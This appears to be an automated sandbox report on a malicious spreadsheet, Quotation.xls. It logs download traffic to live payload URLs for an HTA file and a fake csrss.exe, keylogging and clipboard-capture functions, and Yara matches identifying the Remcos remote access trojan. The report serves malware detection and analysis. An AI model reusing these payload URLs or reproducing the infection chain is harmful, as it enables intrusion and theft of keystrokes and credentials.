Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8895-Connection: Keep-AliveHost: 91.92.245.100If-Range: "25ddd-61e14da080a28"
Source: global traffic HTTP traffic detected: GET /T2507F/csrss.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.173.143.46Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.245.100
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899F7018 URLDownloadToFileW, 7_2_000007FE899F7018
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\379F14B3.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.92.245.100Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8895-Connection: Keep-AliveHost: 91.92.245.100If-Range: "25ddd-61e14da080a28"
Source: global traffic HTTP traffic detected: GET /T2507F/csrss.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.173.143.46Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: tny.wtf
Source: global traffic DNS traffic detected: DNS query: unifrieghtmovers.com
Source: global traffic DNS traffic detected: DNS query: geoplugin.net
Source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csr
Source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csrss.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csrss.exed.
Source: powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csrss.exem1
Source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csrss.exep
Source: powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.173.143.46/T2507F/csrss.exewerSh
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/up
Source: mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta
Source: mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...b
Source: mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...r
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:
Source: mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaP
Source: mshta.exe, 00000010.00000003.473435491.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.474035843.0000000002A65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta
Source: mshta.exe, 00000004.00000003.424041898.00000000029E5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta0
Source: mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaic
Source: mshta.exe, 00000004.00000002.429059359.000000000338C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htao
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaoso
Source: mshta.exe, 00000004.00000002.426650373.0000000000173000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htat
Source: mshta.exe, 00000004.00000003.424339169.00000000029ED000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000007.00000002.453915026.000000001A871000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.usertru8
Source: InstallUtil.exe, 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe String found in binary or memory: http://geoplugin.net/json.gp
Source: winiti.exe, 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, AddInProcess32.exe, 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000007.00000002.449435147.00000000039AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449435147.0000000002BDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.449435147.0000000002421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.483902193.00000000023A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/
Source: mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.0000000000265000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/jjJsPX
Source: Quotation.xls, 37330000.0.dr String found in binary or memory: http://tny.wtf/jjJsPX0
Source: mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/jjJsPXM
Source: mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/jjJsPXa
Source: mshta.exe, 00000004.00000002.426650373.000000000012A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/jjJsPXdO
Source: mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tny.wtf/jjJsPXe
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: winiti.exe, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: winiti.exe String found in binary or memory: https://aka.ms/nativeaot-c
Source: winiti.exe String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp String found in binary or memory: https://aka.ms/nativeaot-compatibilityX
Source: csrss[1].exe.7.dr String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: winiti.exe, 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000000.447217263.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000002.451807346.0000000143000000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to register a low level keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000 25_2_0040A2B8
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard, 25_2_0040B70E
Contains functionality to modify clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 25_2_004168C1
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard, 25_2_0040B70E
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx, 25_2_0040A3E0
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
